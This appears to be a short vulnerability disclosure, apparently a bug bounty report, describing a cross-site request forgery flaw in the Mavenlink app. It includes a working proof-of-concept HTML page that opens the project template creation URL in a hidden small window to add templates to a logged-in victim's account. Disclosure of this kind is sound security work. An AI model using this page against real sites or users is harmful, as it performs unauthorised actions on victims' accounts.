How it was found

Reproduction:

• Log in to account
• Visit CSRF page below (note default 30 seconds timeout, can be adjusted according to the connection speed):

<!doctype html>
<html>
<head>
</head> 
<body>
<script>
var a = window.open("https://app.mavenlink.com/project_templates#new", "csrf", "height=100,width=100"); 
var intervalID = setTimeout(function () { a.close();}, 30000); 
</script>
</body>
</html>

Impact

CSRF Add user templates